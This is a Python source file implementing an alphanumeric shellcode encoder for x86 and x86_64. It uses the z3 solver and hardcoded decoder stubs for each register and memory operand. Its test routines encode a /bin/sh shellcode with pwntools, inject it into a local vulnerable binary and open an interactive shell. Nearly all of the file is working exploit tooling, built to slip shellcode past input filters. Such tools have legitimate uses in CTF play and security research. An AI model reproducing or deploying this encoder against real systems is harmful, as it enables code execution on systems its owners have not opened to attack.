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z3ncoder.py
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#!/usr/bin/env python3
__author__ = "zhouzq-thu"
__copyright__ = "Copyright © 2020 Zhi-Qiang Zhou"
__license__ = "Apache 2.0"
__all__ = [
"Z3ncoder"
]
import re, string
from typing import Tuple, List, Iterable
try:
import z3, pwn
except:
pass
alnumset = (string.ascii_letters + string.digits).encode('utf-8')
def extract(start: str) -> Tuple[str, int]:
start = start.replace(' ', '').lower()
pattern = re.compile(r"\[([^+-]*)\s*([+-]*\s*[0-9a-fA-Fx].*)*\]")
result = pattern.match(start)
if result is None:
return start, None
register, offset = result.groups()
offset = 0 if offset is None else int(offset, base=0)
return register, offset
def findXorMult(target: int) -> Tuple[int, int, int]:
"""
Find byte, code (32 bit) and dword such that
dword * byte == (target & 0xffffffff),
where byte, code and (code ^ dword) are all alphanumeric.
"""
intervals = [[ord('0'), ord('9')], [ord('A'), ord('Z')], [ord('a'), ord('z')]]
isinset = lambda ch: z3.Or(*[z3.And(l <= ch, ch <= h) for (l, h) in intervals])
v = [z3.BitVec(f'v_{i}', 32) for i in range(3)]
byte, code, dword = v
s = z3.Solver()
s.add(byte & 0xFFFFFF00 == 0)
code_xor_dword = code ^ dword
s.add((dword * byte) & 0xFFFFFFFF == (target & 0xffffffff))
s.add(isinset(byte & 0xFF))
s.add(isinset(code & 0xFF))
s.add(isinset((code >> 8) & 0xFF))
s.add(isinset((code >> 16) & 0xFF))
s.add(isinset((code >> 24) & 0xFF))
s.add(isinset(code_xor_dword & 0xFF))
s.add(isinset((code_xor_dword >> 8) & 0xFF))
s.add(isinset((code_xor_dword >> 16) & 0xFF))
s.add(isinset((code_xor_dword >> 24) & 0xFF))
if s.check() == z3.unsat:
return None, None, None
m = s.model()
byte, code, dword = m[v[0]].as_long(), m[v[1]].as_long(), m[v[2]].as_long()
return byte, code, dword
def bx_IMUL_30_XOR_by(value: int, charset: Iterable) -> List[int]:
for bx in charset:
bx_IMUL_30 = (bx * 0x30) & 0xFF
for by in charset:
bx_IMUL_30_XOR_by = bx_IMUL_30 ^ by
if bx_IMUL_30_XOR_by == value:
return [bx, by]
def setEdi(value: int, clobber: str = 'eax') -> str:
byte, code, dword = findXorMult(value)
return f"""
push {hex(code ^ dword)}
push esp
pop ecx
xor [ecx], edi /* [ecx] <- (code ^ dword) ^ esi */
xor edi, [ecx] /* edi <- edi ^ [ecx] = (code ^ dword) */
pop {clobber} /* {clobber} <- (code ^ dword) */
push {hex(code)}
xor [ecx], edi /* [ecx] <- (code ^ dword) ^ code = dword */
imul edi, [ecx], {hex(byte)}
pop {clobber} /* {clobber} <- code */
"""
def setRdi(value: int, clobber: str = 'rax') -> str:
byte, code, dword = findXorMult(value)
return f"""
push {hex(code ^ dword)}
push rsp
pop rcx
xor [rcx], esi /* [rcx] <- (code ^ dword) ^ esi */
xor esi, [rcx] /* esi <- esi ^ [rcx] = (code ^ dword) */
pop {clobber} /* {clobber} <- (code ^ dword) */
push {hex(code)}
xor [rcx], esi /* [rcx] <- (code ^ dword) * byte = dword */
imul esi, [rcx], {hex(byte)}
pop {clobber} /* {clobber} <- code */
push rsi
movsxd rdi, [rcx]
pop {clobber}
"""
class Z3ncoder():
def __init__(self):
self._charset: bytes = alnumset
def _gen_decoder(self, start: str) -> bytes:
register, offset = extract(start)
if offset is None:
return {
# x86_32
'eax': b'PYhffffk4diXFkDqm02Dqn0D1DuEE',
'ecx': b'hffffk4diXFkDqk02Dql0D1BuEE',
'edx': b'hffffk4diXFkDrk02Drl0D2BuEE',
'ebx': b'hwwwwk4dZXFkDsk02Dsl0D3BuEE',
'esp': b'hZZZZk4dwXFkDtk02Dtl0D4BuEE',
'ebp': b'hZZZZk4dwXFkDuk02Dul0D5BuEE',
'esi': b'VYhZZZZk4dwXFkDqm02Dqn0D1DuEE',
'edi': b'hiiiik4dfXFkDwk02Dwl0D7BuEE',
# x86_64
'rax': b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rcx': b'Qh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rdx': b'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rbx': b'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rsp': b'Th0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rbp': b'Uh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rsi': b'Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'rdi': b'Wh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M',
'r8': b'APh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r9': b'AQh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r10': b'ARh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r11': b'ASh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r12': b'ATh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r13': b'AUh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r14': b'AVh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M',
'r15': b'AWh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Iu3M'
}[register]
if offset == 0:
return {
# x86_32
'[eax]': b'1030VYhZZZZk4dwXFkDqq02Dqr0D1HuEE',
'[ecx]': b'1131VYhffffk4diXFkDqq02Dqr0D1HuEE',
'[edx]': b'1232VYhiiiik4dfXFkDqq02Dqr0D1HuEE',
'[ebx]': b'1333VYhiiiik4dfXFkDqq02Dqr0D1HuEE',
'[esp]': b'14d34dVYhZZZZk4dwXFkDqs02Dqt0D1JuEE',
'[ebp]': b'UY1131VYhiiiik4dfXFkDqs02Dqt0D1JuEE',
'[esi]': b'1636VYhiiiik4dfXFkDqq02Dqr0D1HuEE',
'[edi]': b'1737VYhZZZZk4dwXFkDqq02Dqr0D1HuEE',
# x86_64
'[rax]': b'H10H30Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[rcx]': b'H11H31Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[rdx]': b'H12H32Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[rbx]': b'H13H33Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[rsp]': b'H14dH34dVh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Mu3M',
'[rbp]': b'UYH11H31Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Mu3M',
'[rsi]': b'H16H36Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[rdi]': b'H17H37Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r8]': b'I10I30Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r9]': b'I11I31Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r10]': b'I12I32Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r11]': b'I13I33Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r12]': b'I14dI34dVh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Mu3M',
'[r13]': b'AUYH11H31Vh0666TY1131Xh333311k13XjmV11Hc1ZXYf1TqJHf9kDqX02DqY0D1Mu3M',
'[r14]': b'I16I36Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
'[r15]': b'I17I37Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqKHf9kDqY02DqZ0D1Lu3M',
}[f"[{register}]"]
else:
if register[0] == 'e':
set_value = pwn.asm(f"push {register}\n{setEdi(offset, clobber='eax')}", arch='i386', bits=32)
elif register[0] == 'r':
set_value = pwn.asm(f"push {register}\n{setRdi(offset, clobber='rax')}", arch='amd64', bits=64)
else:
raise ValueError
return set_value + {
# x86_32
'[eax+offset]': b'X148348VYhDDDDk4dxXFkDqx02Dqy0D1YuEE',
'[ecx+offset]': b'X148348VYhxxx8k4dDXFkDqx02Dqy0D1YuEE',
'[edx+offset]': b'X148348VYhxxxxk4dDXFkDqx02Dqy0D1YuEE',
'[ebx+offset]': b'X148348VYhxxxxk4dDXFkDqx02Dqy0D1YuEE',
'[esp+offset]': b'X148348VYhDDDDk4dxXFkDqx02Dqy0D1YuEE',
'[ebp+offset]': b'X148348VYhPPPPk4dfXFkDqx02Dqy0D1YuEE',
'[esi+offset]': b'X148348VYhfff6k4dPXFkDqx02Dqy0D1YuEE',
'[edi+offset]': b'X148348VYhDDDdk4dxXFkDqx02Dqy0D1YuEE',
# x86_64
'[rax+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rcx+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rdx+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rbx+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rsp+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rbp+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rsi+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[rdi+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjkV11Hc1ZXYf1TqkHf9kDqy02Dqz0D1lu3M',
'[r8+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r9+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r10+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r11+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r12+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r13+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r14+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M',
'[r15+offset]': b'XH148H348Vh0666TY1131Xh333311k13XjjV11Hc1ZXYf1TqjHf9kDqx02Dqy0D1lu3M'
}[f"[{register}+offset]"]
def isinset(self, ch: int or bytes) -> bool:
if isinstance(ch, int):
return (0 <= ch <= 255) and (ch in self._charset)
else:
return all(c in self._charset for c in ch)
def encode(self, shellcode: bytes, start: str = 'rax'):
decoder = self._gen_decoder(start)
assert shellcode.find(b"\0") == -1, "Shellcode must be NULL free"
shellcode += b'\0'
decoder, encoded_data = decoder[:-2], decoder[-2:]
destination_index = 1
for byte in shellcode:
pre_xor_byte = encoded_data[destination_index]
encoded_data += bytes(bx_IMUL_30_XOR_by(byte ^ pre_xor_byte, self._charset))
destination_index += 1
encoded_shellcode = decoder + encoded_data
assert self.isinset(encoded_shellcode)
return encoded_shellcode
def test_x86():
pwn.context.arch = 'i386'
pwn.context.bits = 32
shellcode = pwn.asm(pwn.shellcraft.sh())
encoder = Z3ncoder()
for start in ['eax', '[eax]', '[ebp]', '[ebp-0x10]', '[esp]', '[esp+0x4]']:
alnumsc = encoder.encode(shellcode, start).decode('utf-8')
print('%s:\n%s\n' % (start, alnumsc))
register, offset = extract(start)
if offset is None:
io = pwn.process(['./vuln/vuln32', '-r', register])
else:
io = pwn.process(['./vuln/vuln32', '-r', register, '-p', str(offset)])
io.sendlineafter(b"> Input your shellcode:\n", alnumsc)
io.recvuntil(b"> Executing shellcode...\n")
io.sendline(b"whoami")
io.interactive()
def test_x64():
pwn.context.arch = 'amd64'
pwn.context.bits = 64
shellcode = pwn.asm(pwn.shellcraft.sh())
encoder = Z3ncoder()
for start in ['rax', '[rax]', '[rbp]', '[rbp-0x10]', '[rsp]', '[rsp+0x8]']:
alnumsc = encoder.encode(shellcode, start).decode('utf-8')
print('%s:\n%s\n' % (start, alnumsc))
register, offset = extract(start)
if offset is None:
io = pwn.process(['./vuln/vuln', '-r', register])
else:
io = pwn.process(['./vuln/vuln', '-r', register, '-p', str(offset)])
io.sendlineafter(b"> Input your shellcode:\n", alnumsc)
io.recvuntil(b"> Executing shellcode...\n")
io.sendline(b"whoami")
io.interactive()
if __name__ == '__main__':
if 1:
test_x86()
test_x64()
pwn.context.arch = 'i386'
pwn.context.bits = 32
shellcode = pwn.asm(pwn.shellcraft.sh())
encoder = Z3ncoder()
print(encoder.encode(pwn.asm(pwn.shellcraft.sh()), 'eax'))